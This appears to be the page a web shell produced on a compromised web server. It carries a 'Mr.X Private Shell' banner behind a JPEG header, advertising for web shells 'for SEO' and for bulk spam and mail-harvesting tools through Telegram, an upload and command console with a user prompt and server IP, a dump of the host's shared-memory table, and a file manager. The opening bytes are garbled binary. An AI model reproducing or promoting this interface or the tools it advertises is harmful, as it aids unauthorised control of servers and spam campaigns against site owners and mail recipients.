����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.165: ~ $
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  629047296  1600                564240 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139506                565248                     0
         0  629047297  1600                585936 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139508                589824                     0
         0  629047298  1600                607632 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139510                610304                     0
      5555          3   644                  1024  4116 795702      0     0     0     0     0 1784447821 1784447821 1771903712                  4096                     0
         0  629047300  1600                629336 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139512                630784                     0
         0  629047301  1600                651040 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139514                651264                     0
         0  629047302  1600                672744 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139516                675840                     0
         0  629047303  1600                694432 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139518                696320                     0
         0  629047304  1600                716128 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139521                716800                     0
         0  642252812  1600                524288 1906970 3046186      1  7282  6600  7282  6600 1784490963 1784490966 1784483819                  8192                     0
         0  629047310  1600                737816 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139636                741376                     0
         0  629047311   600                759512 574300 3055683      2   475   468   475   468 1784491010 1784491010 1784139638                761856                     0
         0  642318353  1400                259332 3799737 1711915      2   484   479     0     0 1784485418          0 1784485418                262144                     0
         0  642416658  1600                524288 2608246 3026654      2  4532  3705  4532  3705 1784490903 1784490915 1784488408                  8192                     0
1060120630  623509527   600                  5000 3830202 3830202      0     0     0     0     0 1784015813 1784015847 1784015813                  8192                     0
1003530848  432930841   600                  5000 3958801 3958801      0     0     0     0     0 1780041292 1780041431 1780041292                  4096                  4096
         0  629014561  1600                   576 574294 3055683      6   475   468   475   468 1784491010 1784491010 1784139452                  4096                     0
         0  629014562  1600               3577056 574294 3055683      6   475   468   475   468 1784491010 1784491010 1784139452               3579904                     0
         0  629014563  1600                 21744 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139454                 24576                     0
         0  629014564  1600                 43456 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139456                 45056                     0
         0  629014565  1600                 65160 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139458                 65536                     0
   5432001  627736615   600                    56 1717010 3051468      6    26    26    26    26 1784490989 1784490989 1784098976                  4096                     0
         0  629014568  1600                 86856 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139460                 90112                     0
         0  629014569  1600                108560 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139462                110592                     0
         0  629014570  1600                130312 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139464                131072                     0
         0  629014571  1600                152008 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139466                155648                     0
         0  629014572  1600                173712 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139468                176128                     0
1709747803  622985261   600                  5000 1796779 1796779      0     0     0     0     0 1784004101 1784013284 1784004101                  8192                     0
         0  629014574  1600                195408 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139471                196608                     0
         0  629014575  1600                217112 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139473                221184                     0
         0  629014576  1600                238816 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139475                241664                     0
         0  629014577  1600                260544 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139477                262144                     0
         0  629014578  1600                282240 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139479                282624                     0
         0  642482227  1600                524288 2992427 3045260      1  3792  3788  3792  3788 1784490958 1784490972 1784490603                  8192                     0
         0  629014580  1600                303944 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139481                307200                     0
         0  629014581  1600                325632 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139483                327680                     0
         0  629014582  1600                347328 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139485                348160                     0
         0  629014583  1600                369016 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139487                372736                     0
         0  629014584  1600                390704 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139489                393216                     0
         0  629014585  1600                412400 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139491                413696                     0
         0  629014586  1600                434096 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139493                434176                     0
         0  629014587  1600                455784 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139495                458752                     0
         0  629014588  1600                477472 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139498                479232                     0
         0  629014589  1600                499168 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139500                499712                     0
         0  629014590  1600                520856 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139502                524288                     0
         0  629014591  1600                542544 574300 3055683      1   475   468   475   468 1784491010 1784491010 1784139504                544768                     0
 187018607  623411264   600                  5000 3555121 3555121      0     0     0     0     0 1784014319 1784014348 1784014319                  8192                     0
         0  642351169  1600                524288 2371262 3043932      1  2672  2668  2672  2668 1784490953 1784491009 1784486709                  8192                     0
 335034945  623378506   600                  5000 3474048 3474048      0     0     0     0     0 1784013856 1784014102 1784013856                  8192                     0
         0  642482251  1600                524288 3039621 3039632      1  2671  2667  2671  2667 1784490937 1784490949 1784490937                  8192                     0
         0  642482252  1600                524288 3040151 3040180      1  4532  3705  4532  3705 1784490939 1784490951 1784490939                  8192                     0
         0  642482253  1600                524288 3041040 3041115      1  2643  2639  2643  2639 1784490943 1784490955 1784490942                  8192                     0
         0  642482254  1600                524288 3051714 3051714      2  1366  1362  1366  1362 1784491007 1784491004 1784490991                  8192                     0
         0  642482255  1600                524288 3053100 3053111      1  3564  3560  3564  3560 1784491000 1784491012 1784491000                  8192                     0
         0  642482256  1600                524288 3055077 3055077      2  1831  1211  1831  1211 1784491008          0 1784491008                  8192                     0

Filemanager

Name Type Size Permission Actions
msg File 0 B 0444
sem File 0 B 0444
shm File 0 B 0444